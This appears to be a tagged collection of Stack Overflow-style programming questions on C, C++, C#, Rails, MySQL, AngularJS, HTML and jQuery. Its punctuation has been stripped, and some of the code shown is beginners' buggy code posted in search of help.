handling dynamic growth of an array of pointers to structures  i have a problem about the growth of the struct pointer array.    an arrary of pointers to structure stored memory location.    but i m not sure how many i will want to store.      i want dynamic growth of the array.      i also may need to remove one of the elements.    code as follows：   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  struct dominate * realloct(int* dim_1  struct dominate *dominatelist) {     int i;     struct dominate *dominatelist_temp = (struct dominate *)malloc(sizeof(struct dominate *)*(*dim_1+10));      for(i = 0; i &lt; *dim_1+10;i++)     {         if(i&lt;*dim_1)         {             dominatelist_temp[i] = dominatelist[i];             //memcpy(b[i]  a[i]  (long)(sizeof(int)*(*dim_1)));         }         else             dominatelist_temp[i] = (struct dominate *)malloc(sizeof(struct dominate *)*dim_1);     }     (*dim_1) = (*dim_1)+10;      return dominatelist_temp; }  struct dominate {     double id; };  struct dominate *head;  int main() {     int i;     struct dominate *dominatelist;     struct dominate *dominatelist_temp;     int dim_1 = 10;      struct dominate *z[100];      for(i = 0; i &lt; 100; i++){         head = (struct dominate *) malloc(sizeof(struct dominate *));         head-&gt;id = i;         z[i] = head;     }       dominatelist = (struct dominate *)malloc(sizeof(struct dominate *)*dim_1);      for(i = 0; i &lt; 100; i++){         if(i == dim_1 )         {             dominatelist_temp = realloct(&amp;dim_1  dominatelist);             free(dominatelist);             dominatelist = dominatelist_temp;         }     }      printf( %d \n\n   dim_1);      for(i = 0; i &lt; 100; i++){         printf( %.2lf    dominatelist[i].id);         printf( \n );     }        return 0; } </code></pre>   i do not know how to modify this problem   <pre><code>if(i&lt;*dim_1){     dominatelist_temp[i] = dominatelist[i];     //memcpy(dominatelist_temp[i]  dominatelist[i]  (long)(sizeof(struct dominate *)*dim_1); } else     dominatelist_temp[i] = (struct dominate *)malloc(sizeof(struct dominate *)*dim_1); </code></pre>   also  if i want to delete an element of the array  how to do it,c
set openfiledialog to default to thumbnail view  i m using the openfiledialog class so a user can select an image file.  i d like to default the dialog to thumbnail view mode.  unfortunately the class doesn t have any way to set a default view mode.    other than creating my own custom dialog (which i may have to do)  is there a way to achieve my goal,.net
how do i declare a struct within a class   i want to declare a struct within a class which is private and i want to give a character value to a variable in the same struct  but i can t initialize it or cin it:   <pre><code>class puple { private:     struct p     {         char name[25];         int grade;     }; public:     puple(){};     void setme()     {         this-&gt;p::grade=99;         this-&gt;p::name[25]= g ;  //here is the problem     }     void printme()     {         cout&lt;&lt; name:   &lt;&lt;this-&gt;p::name&lt;&lt;endl;         cout&lt;&lt; grade:   &lt;&lt;this-&gt;p::grade&lt;&lt;endl;     } }; void main() {     puple pu1;     pu1.setme();     pu1.printme(); } </code></pre>,c++
function to swap pointers in objective-c <pre><code>- (void) swapcontroller:(myviewcontroller*)controller1                           with:(myviewcontroller*)controller2 {     myviewcontroller *swap = controller2;     controller2 = controller1;     controller1 = swap; } </code></pre>   looks like this doesn t work because i m not passing references. how to do it anyway,objective-c
does new x cause a mem leak when passed as an argument to a function   definition of <strong>readprocessmemory()</strong>:    <pre><code>readprocessmemory(handle hprocess  lpcvoid lpbaseaddress  lpvoid lpbuffer                     nsize  size_t * lpnumberofbytesread); </code></pre>   are there any problems doing it like this    <pre><code>readprocessmemory(this-&gt;processhandle  0  &amp;ret  sizeof(int)  new dword); </code></pre>,c++
css is it good to select anonymously  is there any backfire in selecting anonymously  instead of with classes    <pre><code>#ele{} #ele &gt; div:first-child{} #ele &gt; div:first-child &gt; div:first-child{} #ele &gt; div:first-child &gt; p:first-of-type{} #ele &gt; div:first-child &gt; div:nth-child(2){} #ele &gt; div:first-child &gt; div:nth-child(2) &gt; div{} #ele &gt; p:first-of-type{} #ele &gt; div:nth-of-type(2){} ..... </code></pre>  <h1>vs</h1>  <pre><code>#ele{} .element_someclass{} .element_someotherclass{} ..... </code></pre>   what if  say  80% of elements in a document are anonymously selected,css
unexpected result while working with array  sir i am a new programmer.so i am facing some new problems which i really need to solve. like i write a code   <pre><code>#include&lt;stdio.h&gt;  main(){   int ara[] ={10 20 30 40 50 60 70 80 90 100} i temp j;    for(i=0 j=9;i&lt;10;i++ j--){        ara[i]=ara[j];       printf( %d\n  ara[i]); }      } </code></pre>   i thought the result would be 100 90 80 70 60 50 40 30 20 10 but the result is not like this...would anyone please tell me why the result shows 100 90 80 70 60 60 70 80 90 100,c
how to sort when fetching a collection of models   i have a call on my posts_controller.rb index action:   <pre><code>@articles = article.order( id desc ) </code></pre>   i now want to be able to order by:   <pre><code>date id some_counter_attribute </code></pre>   my querystring will have sort=date/id/count like:   <pre><code>www.example.com/articles/ sort=date </code></pre>   how should i implement this in my controller now   should i just use if statements    <pre><code>if params[:sort] ==  date    @articles = article.order( created_at desc ) elsif params[:sort] ==  count    @articles = ... .. </code></pre>   or is there a better way  should this logic be in the controller or model ideally,ruby-on-rails
constructor with mutually exclusive members  i have a class with mutually exclusive properties.   <pre><code>enum celltype : byte { date  teams  value  text }  class cellcheck {     public celltype celltype { get; set; }      public float  minvalue { get; set; }     public float  maxvalue { get; set; }      public bool textcasesensitive { get; set; }     public string text { get; set; } : } </code></pre>   when celltype is date or teams minvalue  maxvalue  textcasesensitive and text are irrelevant. minvalue and maxvalue are only relevant when celltype is value. textcasesensitive and text are only relevant when celltype is text.    what is the best way to write the constructors   now i am using this :   <pre><code>    public cellcheck(float fminvalue  float fmaxvalue) : this(celltype.value  fminvalue  fmaxvalue  false  null)     {}      public cellcheck(bool btextcasesensitive  string strtext) : this(celltype.text  null  null  btextcasesensitive  strtext)     {}      public cellcheck(celltype type  float  fminvalue  float  fmaxvalue  bool btextcasesensitive  string strtext)     {         if (type == celltype.value)         {             if (!fminvalue.hasvalue)                 throw new argumentnullexception( fminvalue argument in cellcheck constructor is null. );             if (!fmaxvalue.hasvalue)                 throw new argumentnullexception( fmaxvalue argument in cellcheck constructor is null. );             if (fminvalue.value &gt; fmaxvalue.value)                 throw new argumentexception( fminvalue argument in cellcheck constructor must be less or equal to fmaxvalue argument. );              btextcasesensitive = false;             strtext = null;         }         else             if (type == celltype.text)             {                 if (strtext == null)                     throw new argumentnullexception( strtext argument in cellcheck constructor is null. );                  fminvalue = null;                 fmaxvalue = null;             }             else             {                 fminvalue = null;                 fmaxvalue = null;                  btextcasesensitive = false;                 strtext = null;             }          celltype = type;          minvalue = fminvalue;         maxvalue = fmaxvalue;          textcasesensitive = btextcasesensitive;         text = strtext;     } </code></pre>   is this considered a good programming practice,c#
getting closest element from a list of list upon input  i have a text file containing something like a game of guessing digits where the <strong>first column</strong> is just a <strong>unique id</strong>  <strong>second and third column</strong> are <strong>range for the gues</strong>s and <strong>fourth</strong> is a <strong>group</strong> type:   <pre><code>a:6.5:10.2:g1 b:2.4:11.7:g2 c:3.1:9.7:g1 d:4.6:8.7:g3 </code></pre>   the user will be prompt to <strong>input</strong> two tries  for example:   <pre><code>3.1 : 9.9 : 3.2 : 9.8 </code></pre>   where the <strong>first two</strong> will be the <strong>first try</strong>  and the <strong>third and forth</strong> would be the <strong>second try</strong>. upon the input as of above  the code will make a comparison between the first try and the second try with the content in the text file.    example:    the <strong>first try</strong> would be <strong>3.1 : 9.9</strong> and proceed to compare with content in the text file. the <strong>second try 3.2 : 9.8</strong> would also be compared and producing the <strong>output of closest range</strong> to the user input which would be:   <pre><code>output = 3.1   9.7 (from the text file  without the id and type) </code></pre>   here s what i ve tried. for a start i <strong>created two list</strong> since there are only <strong>two sets of digit per row</strong> in the <strong>file</strong> and <strong>user</strong> has <strong>four sets of digits</strong> which i assume would be convenient if i split the input into two each in one list to be compared.   <pre><code>guess = input( enter your guess: )  #ex: 3.1:9.9:3.2:9.8 list1 = []                          # [3.1 9.9] list2 = []                          # [3.2 9.8] separatestr = guess.split( : ) floatinput = [float(i) for i in separatestr]  list1 list2 = floatinput[:2] floatinput[2:]  openfile = open( __.txt ) table = []                  #created a list to contain the contents for line in openfile:     contents = line.strip().split( : )     table.append(contents)  def getclosest(l):     for i in range(....     .     . </code></pre>   i wasn t able to figure out the function for the closest range as i m assuming whether it is possible if the two list is able to compare with the table containing the content of the file  my method might be wrong so i want to seek advice for this.,python
reusing bitmap to decode jpeg data  this part of my application displays a real-time image stream from an ip camera in a picture box. the stream is a typical motion jpeg formatted as a multi-part http response.     all the code is written  my app works fine with very low cpu usage (1-2%) and a see-saw memory footprint (gradually increases until a gc is triggered then it s all recycled back down to normal). so this is more of an optimization question  best of practice etc  it s not required.    with that out of the way  right now i m doing this in the normal <code>bitmap.fromstream()</code> fashion  which generates a whole new bitmap for every frame  at 60hz. even if it s fine from a run-time perspective  that s jarring for me as a programmer.     if i were to use a more hands on approach  i d preallocate the bitmap with known size (320x240 or 640x480  depending on options) and just decode the stream into my bitmap  but i don t see a .net function that does this. i d have to use my own jpeg decoder  which is both too much work  and more binary size (this thing is already 55mb of compiled code).    so my question is  am i missing something here  is there a best way to do something like this  the function i mentioned would be perfect  but if not available  how else would i improve this,.net
idictionary indexer not consistent   why is the indexer of a idictionary not implemented the same way     look at <code>dictionary&lt;key  value&gt;</code> if you try to access something that does not exist it throws a keynotfoundexception.    if you do the same with a <code>hashtable</code> it returns null.    <a href= https://dotnetfiddle.net/0cp5k7  rel= nofollow >https://dotnetfiddle.net/0cp5k7</a>,.net
how to prompt the user to enter an integer and a character from the keyboard in c  i am trying to figure out the best way to get an integer and a character from a user    here is what i have so far:   <pre><code>#include &lt;stdio.h&gt; int main() {     int a;     char b;     printf( enter the first number: \n );     scanf( %d   &amp;a);     printf( enter the second char: \n );     scanf( %c   &amp;b);      printf( number %d  a);     printf( char %c  b);     return 0; } </code></pre>   the output is not shown correctly. is there any problem with this  <img src= https://i.stack.imgur.com/ozoib.png  alt= enter image description here >,c
boost ptree: adding more nodes with same name and attributes  i m trying to write an xml with more nodes and attributes with the same name as this:    <pre><code>&lt;parameterset&gt;     &lt;parametersettype name= aaaa &gt;     &lt;/parametersettype&gt;     &lt;parametersettype name= bbbb &gt;      &lt;/parametersettype&gt;     &lt;parametersettype name= cccc &gt;     &lt;/parametersettype&gt; &lt;/parameterset&gt; </code></pre>   i tried to use <code>pt.put()</code> obtaining just the last element   <pre><code>&lt;parameterset&gt;     &lt;parametersettype name= cccc &gt;     &lt;/parametersettype&gt; &lt;/parameterset&gt; </code></pre>   and <code>pt.add()</code> obtaining one node with all attributes   <pre><code>&lt;parameterset&gt;     &lt;parametersettype name= aaaa  name= bbbb  name= cccc &gt;     &lt;/parametersettype&gt; &lt;/parameterset&gt; </code></pre>   what is the correct way to do what i want,c++
how to record audio in web application in asp.net   i am doing a project.i want to record and save the audio input.i used mcisendstring but it is not working in a web application.please help.,asp.net
can not create windows phone project in visual studio 2012  i have 32 bit os and vs 2012 ultimate so i am installing windows sdk 7.8 update. but after installing i am not able to see windows phone project type in vs 2012.,.net
rails .update_attribute not updating  i notice this question pops up a lot  but after trying several recommended solutions i found i still can t figure out what is wrong. i have a model called sample and a user model as well. when a sample is approved the hours on the sample are supposed to be added to the users total hours  but the users value is never updated. each user has a unique email which is stored in the sample when it is submitted for approval. i checked in the database to make sure it wasn t an issue with accessing the value  and no error is being thrown so i am not really sure what is happening. i m pretty new to ruby and rails so any help is appreciated. my samples_controller.rb contains the function:   <pre><code>  def approve     @sample = sample.find(params[:id])     @sample.update(sample_status:1)     @user = user.find(sample.email)     hours_update = @user.hours + @sample.volunteer_hours     @user.update_attributes(:hours  hours_update)     redirect_to samples_adminsamples_path   end </code></pre>   edit: thanks for the help everyone  turns out i needed to use the command   <pre><code>@user = user.find_by(email: @sample.email) </code></pre>   in order to get the proper user.,ruby-on-rails
mysql join 3 tables in one query with sorted result  i have 3 tables and want to join all in one query to show latest 10 entries by datetime.   <pre><code>t1: id  username t2: id  id_t1  med_id  ga_id  au_id  re_id  text  datetime t3: id  id_t1  pro_id  au_id  re_id  text  datetime </code></pre>   first i saw it would be easy with simple left join and where id  but i got double results. then i tried inner and outer join  also group by  but the result was bad.     so my question is how can i join all without double results of the last 10 of t2 and t3,mysql
send data to a php script with angularjs  i m new in angularjs and following some tutorials i was able to create a simple page and a simple form.    the problem is that every time i submit the form seems that the script is sending empty data.    this is my html:   <pre><code>&lt;div class= jumbotron text-center &gt;         &lt;h1&gt;contatti&lt;/h1&gt;          &lt;p ng-show= message &gt;{{ message }}&lt;/p&gt;     &lt;/div&gt;  &lt;div class= row &gt;     &lt;div class= col-lg-8 &gt;         &lt;form ng-submit= processform() &gt;             &lt;div class= form-group  ng-class= {  has-error  : errorname } &gt;                 &lt;label&gt;nome&lt;/label&gt;                 &lt;input type= text  name= name  class= form-control  placeholder= chris  ng-model= formdata.name &gt;                  &lt;span class= help-block  ng-show= errorname &gt;{{ errorname }}&lt;/span&gt;              &lt;/div&gt;             &lt;button type= submit  class= btn btn-large &gt;                 salva             &lt;/button&gt;         &lt;/form&gt;     &lt;/div&gt; &lt;/div&gt;  &lt;pre&gt;     {{ formdata }} &lt;/pre&gt; </code></pre>   this is the js:   <pre><code>//creo il modulo e includo ngroute come dipendenza var scotchapp = angular.module( scotchapp   [ ngroute ]);   //configuro le routes scotchapp.config(function($routeprovider){      $routeprovider          .when( /   {             templateurl:  pages/home.html               controller:  maincontroller          })          .when( /chi-siamo   {             templateurl:  pages/chi-siamo.html               controller:  aboutcontroller          })          .when( /contatti   {             templateurl:  pages/contatti.html               controller:  contactcontroller          });  });  //creo il controller che gestisce la home scotchapp.controller( maincontroller   function($scope){     $scope.message =  sono in home ; });  //controller che gestisce la pagina chi-siamo scotchapp.controller( aboutcontroller   function($scope){     $scope.message =  sono in chi siamo ; });   //controller che gestisce la pagina contatti scotchapp.controller( contactcontroller   function($scope  $http){      $scope.formdata = {};      $scope.processform = function(){           console.log($scope.formdata);          $http.post( process.php   $scope.formdata)              .success(                 function(data){                      console.log(data);                      if( data.success )                     {                         $scope.message = data.message;                     }                     else                     {                         $scope.errorname = data.errors.name;                     }                  }              );     } }); </code></pre>   and this is a very simple php script:   <pre><code>&lt; php // process.php  $errors = array();  // array to hold validation errors $data = array();        // array to pass back data   // validate the variables ======== if (trim($_post[ name ]) ==   )   $errors[ name ] =  name is required. ;  // return a response ==============  // response if there are errors if ( count($errors) &gt; 0 ) {    // if there are items in our errors array  return those errors   $data[ success ] = false;   $data[ errors ]  = $errors; } else {    // if there are no errors  return a message   $data[ success ] = true;   $data[ message ] =  success! ; }  // return all our data to an ajax call echo json_encode($data); </code></pre>   even if i write some data in my input in the console i get:   <pre><code>object {success: false  errors: object} errors: object name:  name is required.  __proto__: object success: false __proto__: object </code></pre>   am i missing something,angularjs
get date without slashes  i need to create a file that has today s date in the file name. this is the code i m using:   <pre><code>filename = configurationmanager.appsettings[ outputfilelocation ] +  \\  + datetime.now.date.toshortdatestring() + configurationmanager.appsettings[ outputfilename ]; </code></pre>   but since the date is returned with slashes (2011/11/10)  it ends up looking for directories with those names. how can i get the date just as 20111110,c#
sql extract numbers from string and convert to int  i have a table <code>packages</code> with <code>pack_id</code> and <code>speed</code> columns. i have the following values for speed:   <pre><code>1.5mbps  10mbps  12mbps  2.5mbps  5mbps  750kbps </code></pre>   how can i convert that to a numeric column of speeds  thanks  tamir,sql
how can i fix this erorr in objective c   the variable is inside constants.h    <img src= https://i.stack.imgur.com/k0svt.png  alt= enter image description here >    error is:   <pre><code>duplicate symbol _osvshorttermfueltrim1 in: /users/loximity/library/developer/xcode/deriveddata/autocodesapp-hjoxbttreaujifdypikhbngdqihd/build/intermediates/autocodesapp.build/debug-iphonesimulator/autocodesapp.build/objects-normal/i386/viewcontroller.o /users/loximity/library/developer/xcode/deriveddata/autocodesapp-hjoxbttreaujifdypikhbngdqihd/build/intermediates/autocodesapp.build/debug-iphonesimulator/autocodesapp.build/objects-normal/i386/fueltrimviewcontroller.o </code></pre>   and then i am using the above variables in two places  in view controller:   <pre><code>osvshorttermfueltrim1 = [nsstring stringwithformat:@ %@ %@   [sensor valuestringformeasurement1:no]  [sensor imperialunitstring]]; </code></pre>   and in fueltrimviewcontroller    <pre><code>fuelbank1.text = [nsstring stringwithformat:@ %@  osvshorttermfueltrim1]; </code></pre>,objective-c
ruby: unknownattributeerror  i have some orders that can have several items and these items have an associated kind. the kind can belong to many items. but i get a  unknown attribute: kinds  in my orderscontroller when i hit the submit form button. i use nested forms btw.    <strong>order.rb</strong>   <pre><code>class order &lt; activerecord::base   validates_presence_of :ref_nr  :total_price    has_many :items  :dependent =&gt; :destroy   has_many :kinds  :through =&gt; :items    accepts_nested_attributes_for :items   accepts_nested_attributes_for :kinds    validates_associated :items   validates_associated :kinds   end </code></pre>   <strong>item.rb</strong>   <pre><code>class item &lt; activerecord::base   belongs_to :order   has_one :kind    accepts_nested_attributes_for :kind    validates_associated :kind end </code></pre>   <strong>kind.rb</strong>   <pre><code>class kind &lt; activerecord::base  belongs_to :items end </code></pre>   <strong>orderscontroller.rb:create</strong>   <pre><code>def create     @order = order.new(params[:order]) end </code></pre>   <strong>new.erb.html</strong>   <pre><code>&lt;% form_for @order do |f| %&gt;   &lt;%= f.error_messages %&gt;    &lt;% f.fields_for :items do |builder| %&gt;     &lt;table&gt;     &lt;tr&gt;       &lt;% builder.fields_for :kinds do |m| %&gt;         &lt;td&gt;&lt;%= m.collection_select :kind  kind.find(:all  :order =&gt;  created_at desc )  :id  :name  {:prompt   =&gt;  select a type  }  {:id =&gt;  selector   :onchange =&gt;  kind_change(this) } %&gt;&lt;/td&gt;     &lt;% end %&gt;       &lt;td&gt;&lt;%= builder.text_field :amount  :id =&gt;  amountfield   :onchange =&gt;  change_total_price()  %&gt;&lt;/td&gt;       &lt;td&gt;&lt;%= builder.text_field :text  :id =&gt;  textfield  %&gt;&lt;/td&gt;       &lt;td&gt;&lt;%= builder.text_field :price  :class =&gt;  pricefield   :onchange =&gt;  change_total_price()  %&gt;&lt;/td&gt;       &lt;td&gt;&lt;%= link_to_remove_fields  remove item   f %&gt;&lt;/td&gt;     &lt;/tr&gt;     &lt;/table&gt;     &lt;% end %&gt;     &lt;p&gt;&lt;%= link_to_add_fields  add item   f  :items %&gt;&lt;/p&gt;     &lt;p&gt;       &lt;%= f.label :total_price %&gt;&lt;br /&gt;       &lt;%= f.text_field :total_price  :class =&gt;  pricefield   :id =&gt;  totalprice  %&gt;     &lt;/p&gt;     &lt;p&gt;&lt;%= submit_tag %&gt;&lt;/p&gt; &lt;% end %&gt; </code></pre>   i cant see what im missing,ruby-on-rails
use of typedef on function  in the following  how can i define my function with typedef syntax    <pre><code>typedef void f();  //declare my function f f;  //error f f { } </code></pre>,c++
how do i delete all of the data which has been registered in the txt file c#  i am writing a program which will store competitor information in a txt file. and when required  this program needs to wipe all the records from system with the click of a button. now i am already able to save and load competitors in  test.txt  but i dont know how to delete already registered participators. here is my partial code where i construct and register people.   <pre><code>public competitor(string incompetitortype  string incompetitorname  string incompetitoraddress  int incompetitorscore  string incompetitorno)     {         competitortype = incompetitortype;         competitorno = incompetitorno;         competitorname = incompetitorname;         competitoraddress = incompetitoraddress;         competitorscore = incompetitorscore;             } public virtual void save(string filename)     {         streamwriter outputfile = new streamwriter(filename  true);          outputfile.writeline(competitortype);         outputfile.writeline(competitorno);         outputfile.writeline(competitorname);         outputfile.writeline(competitoraddress);         outputfile.writeline(competitorscore);          outputfile.close();      } </code></pre>   this bit is in my storage class  rather than my competitor class   <pre><code> public string addamateurcompetitor(string incompetitorname  string incompetitor)     {         string competitorno = getnumber().tostring();         amateur newcompetitor = new amateur(incompetitorname  incompetitoradress  0  competitorno);         competitors.add(competitorno  newcompetitor);         return competitorno;     } </code></pre>   please suggest me ways the delete records function could be implemented,c#
how can i add  on update current_timestamp  on a column at table creation or by alter table withoud defining its default value  i am using following query to alter a table and add <code>on update current_timestamp</code> on a column.   <pre><code>alter table my_table change column_name column_name timestamp not null default current_timestamp // can i remove this line on update current_timestamp; </code></pre>   from the above query  can i put <code>on update current_timestamp</code> on a column <strong>without defining its default value</strong>     when i try to remove that part  the query will be like:   <pre><code>alter table new_table change updated_at updated_at timestamp on update current_timestamp; </code></pre>   and it is showing error: <strong>alter table new_table change updated_at updated_at timestamp on update current_timestamp error code: 1067. invalid default value for  updated_at </strong>,mysql
distinguish between an instance and a class  basically  my problem is this:   <pre><code>-(void)amethod:(id)object; </code></pre>   ideally  i would use my method like this:   <pre><code>nsobject*theobject; [mysteryobject amethod:theobject]; </code></pre>   or like this:   <pre><code>[mysteryobject amethod:nsobject]; </code></pre>   basically  that is the question. how can i distinguish if an  id  variable holds simply a class type or a pointer to a live object,objective-c
event when angularjs finished changing dom  i have some angularjs code which sets up some scope fields very quickly  but then takes angularjs and/or chrome a long time to create and render the dom. this is mainly due to a few ng-repeat bindings to long lists in the scope. the browser freezes for a couple of seconds whilst preparing and rendering the dom.    i d like to know when the browser has finished  so that i can display a loading sign whilst the browser is busy  and then display the resulting dom once it has finished. what techniques are available for achieving this,angularjs
error: selecting radio button from list with jquery  i have a code where i am selecting radio button using the .prop() method. issue is sometime the 2nd one (payment method) is not selected and the script crash and show error because of that here is the code i am using to select radio button.   <pre><code>/**  * select shipping method when selected from the list  */ $(document).ready(function() {     var $options = $( .shipping-method .item );      $options.click(function(e) {         var $current = $(this);         e.preventdefault()         e.stoppropagation()         $options.removeclass( on )         $current.addclass( on )         $( input   $current).prop( checked   true)     }) }) /**  * select payment method when selected from the list  */ $(document).ready(function() {     var $options = $( .payment-method .item );      $options.click(function(e) {         var $current = $(this);         e.preventdefault()         e.stoppropagation()         $options.removeclass( on )         $current.addclass( on )         $( input   $current).prop( checked   true)     }) }) </code></pre>   html   <pre><code>&lt;ul&gt; &lt;li&gt;     &lt;div class= item &gt;&lt;a href= javascript:;  class= shipping_3 &gt;home delivery&lt;/a&gt;         &lt;input name= shipping  type= radio  class= radio  id= shipping_3  value= 3  checked= checked  supportcod= 1  insure= 0  onclick= selectshipping(this) &gt;     &lt;/div&gt; &lt;/li&gt; &lt;li&gt;     &lt;div class= item &gt;&lt;a href= javascript:;  class= shipping_8 &gt;self-pickup&lt;/a&gt;         &lt;input name= shipping  type= radio  class= radio  id= shipping_8  value= 8  supportcod= 1  insure= 0  onclick= selectshipping(this) &gt;     &lt;/div&gt; &lt;/li&gt; </code></pre>,jquery
dynamically add .dll into web application  i need to add assembly into my asp.net application whithout local copy to bin folder  without adding it to gac. it should be path-reference like c:\bin and this folder is not subfolder of application. does anybody have suggestions,asp.net
ruby on rails  create a record from another model  i am using this file-uploader for ruby on rails. i upload some files with numbers for statistical analysis. model for the files is called filedb.in filedb.rb the file is opened and numbers are analysed(some correlation stuff and etc.). after that i need so save the results into a table called results.     will it be clever just to write in filedb.rb:   <pre><code>@cell=results.new(:cell_name =&gt;filenames  :icorrelation=&gt;intensities) @cell.save </code></pre>   or it is better to use results_controller to create a record in a table  and to to something like this: results_controller.rb:   <pre><code>  def create     @result = result.new(params[:result])         if @result.save      lalala          else       render :new     end   end </code></pre>   though i do not know how to pass arguments :result to a controller    thanks in advance    edit:    filedbs_controller.rb:   <pre><code>  def analyse     (filedb.where(analyse:no)).perform_analysis       respond_to do |format|        format.html { redirect_to :back }      end    end </code></pre>   filedb.rb   <pre><code>def self.perform_analysis    list=analysis.do_number_analyse    if list!=nil       results(list)  end    end         def self.results(list)         do somthing with list         cell=results.new(:cell_name =&gt;filenames  :icorrelation=&gt;intensities)         cell.save     end </code></pre>   analysis.do_number_analyse - is a method in another model  where all calculations are done,ruby-on-rails
querying multiple database servers   i am working on a database for a monitoring application  and i got all the business logic sorted out. it s all well and good  but one of the requirements is that the monitoring data is to be completely stand-alone.    i m using a local database on my web-server to do some event handling and caching notifications. since there is one event row per system on my monitor database  it s easy to just get the id and query the monitoring data if needed  and since this is something only my web server uses  integrity can be enforced externally. querying is not an issue either  as all the relationships are one-to-one so it s very straight forward.    my problem comes with user administration. my original plan had it on yet another database (to meet the requirement of leaving the monitoring database alone)  but i don t think i was thinking straight when i thought of that. i can get all the ids of the systems a user has access to easily enough  but how then can i efficiently pass that to a query on the other database  is there a solution for this  making a chain of ors seems like an ugly and buggy solution.    i assume this kind of problem isn t that uncommon  what do most developers do when they have to integrate different database servers  in any case  i am leaning towards just talking my employer into putting user administration data in the same database  but i want to know if this kind of thing can be done.,sql
click a link in 1 frame and browse the link in 2nd frame  a link should be given in one frame. when it will be clicked   then it will open in another frame.when i gave a html page link the code works .but if i put a web page like: <a href= https://www.facebook.com/ then  rel= nofollow >https://www.facebook.com/ then</a> the code is not working.    why is it so  the code is :    frames_example_1 page :   <pre><code>  &lt;frameset cols= 200 *  frameborder= 0  border= 0  framespacing= 0 &gt; &lt;frame name= menu  src= menu_1.html  marginheight= 0  marginwidth= 0  scrolling= auto  noresize&gt; &lt;frame name= content  src= content.html  marginheight= 0  marginwidth= 0  scrolling= auto  noresize&gt; </code></pre>       menu_1.html :   <pre><code>menu_1.html  : &lt;p&gt;&lt;a href= https://www.facebook.com/  target= content &gt;facebook&lt;/a&gt;&lt;/p&gt; </code></pre>,html
what kind of projects make you look good to a potential employer   i m a senior student in the process of building my portfolio by the time i graduate.    i m already building a grading system for my university and i think this will look great and allow me to make some contacts within my city  but i m looking for project ideas that prove to potential employers that i have a passion for programming.    what type of projects make students look good to potential employers  if you are a student share any projects that made you score some cool point in your peer group.    thanks!,.net
format not a string literal  i would appreciate understanding how to rewrite this line of code to eliminate the compiler warning. the code is:   <pre><code>if (string == nil)         [nsexception raise:nsinvalidargumentexception format:nil]; </code></pre>   the warning is:   <pre><code>format not a string literal and no format arguments. </code></pre>   i found answers pertaining to nslog  but not to nsexception.    jal,ios
the nearest td value  i have a table:   <pre><code>&lt;table&gt; &lt;thead&gt;     &lt;tr&gt;         &lt;td&gt;some1&lt;/td&gt;           ......         &lt;td&gt;some2&lt;/td&gt;         &lt;th&gt;count&lt;/th&gt;         &lt;th&gt;editcount&lt;/th&gt;     &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt;     &lt;tr&gt;         &lt;td&gt;some1&lt;/td&gt;           ......         &lt;td&gt;some2&lt;/td&gt;         &lt;td&gt;25&lt;/td&gt;         &lt;td&gt;&lt;input type= text  value= 1 /&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;         &lt;td&gt;some1&lt;/td&gt;           ......         &lt;td&gt;some2&lt;/td&gt;         &lt;td&gt;35&lt;/td&gt;         &lt;td&gt;&lt;input type= text  value= 3 /&gt;&lt;/td&gt;    &lt;/tr&gt; </code></pre>        how to get td value in left side from input in each row  for example when user clicked on this input,jquery
data transfer from an device to iphone  i am trying to create a poc in which a eletronic device is collecting some data. these data has to transfer from the device to iphone device via bluetooth.     is it possible. a guideline or any reference will do.    thanks in advance.,iphone
is there any way to open a local file from a html code in google chrome   so  i ve ben hunting for the answer  and seems like i can t get this to work  i wanted to make so that  i have a browser page already made in html  and when i click a link in there  it opens a chosen folder on the computer  but i don t want it to open on just this computer s path  i wanted to open a folder that is inside the main folder  so that anyone that has the same files as i do  can open it  i tried  &lt; a href= file_path >  tried putting &lt; a href= file:///(file path) >  tried like i have in excel ../../ file path   and can t see where is the problem  anyone can help,html
calloc() and realloc() compiling issue  i m learning c not really fully understand everything  i have this example code i gat from a book. the topic is the usage of calloc() and realloc().i m using ubuntu 14.04 and the gcc compiler. i checked on the syntax in the code and is just the same as in the book didn t make any mistakes. so what i think the problem is  is how to write the code so that the compiler understands it the way it needs it. for that i do not have the experience to figure that out. i have more error outputs if needed.   <pre><code>#include&lt;stdio.h&gt; #include&lt;stdlib.h&gt;  void main(){     double * memptr;     memptr = (double *) calloc(100  sizeof(double));     if (memptr == null){         printf( \nnicht genuegend speicherplatz! );         exit(1);     }     printf( \nspeicher fuer 100 double-variable ok! );     memptr = (double*) realloc(memptr 125);     if(memptr ==null){         printf( \nnicht genuegend speicherplatz! );         exit(1);     }     printf( \nspeicherplatz auf 125 variable vergroessert! );     free(memptr);     printf( \nspeicher wieder freigegeben! ); } </code></pre>  <h3>error messages:</h3>  <pre><code>*bei84.c: in function ‘main’: bei84.c:7:22: warning: incompatible implicit declaration of built-in function ‘calloc’ [enabled by default]  memptr = (double *) calloc(100  sizeof(double));                   ^  bei84.c:13:21: warning: incompatible implicit declaration of built-in function ‘realloc’   [enabled by default]   memptr = (double*) realloc(memptr *125); </code></pre>,c
in mysql  how to generate percentage by date with compound group by   i have a set of three queries that return the exact data i like:   <pre><code>set @mydate =  2013-04-15 ;  set @dailycpu = (select sum(cputime) from eojeot where date(stoptime) = @mydate);  select usercode  date(stoptime) as thedate      sum(cputime) as  total cpu secs       sum(elapsedtime) as  total elapsed secs       (sum(cputime)/@dailycpu) * 100 as pctcpu from eojeot where date(stoptime) = @mydate group by usercode; </code></pre>   this returns this (i obfuscated the real users)   <pre><code>usercode    thedate     total cpu secs  pctcpu fred        2013-04-15  35873067        0.4069 wilma       2013-04-15  26122714        0.2963 barney      2013-04-15  234689          0.0027 dino        2013-04-15  3284851116      37.2593 pebbles     2013-04-15  48108320        0.5457 bambam      2013-04-15  23671548        0.2685 kazoo       2013-04-15  284847          0.0032 </code></pre>   i am trying to put this into a single query so i can add a group by of <code>mydate</code>.    basically  i want to sum all the cputime for a day for a particular user and also show percentage of total cpu time for that day.    a snippet of the table would be something like:   <pre><code>usercode varchar(17) cputime bigint(20) stoptime datetime </code></pre>   i have looked at self joins trying to get join only the sum(cputime) where a.date = b.date  but that did not work.    i really thought the self join would do it from all the posts i read on se but i cannot find a case that factors in the compound group by (usercode  date(stop time) ).,mysql
is it possible to make html code output as text on my website   for example  if i were trying to add the text <code>&lt;div class= hello &gt; &lt;/div&gt;</code> (without the added spaces) to my website so that it would output as text instead of being considered another class,html
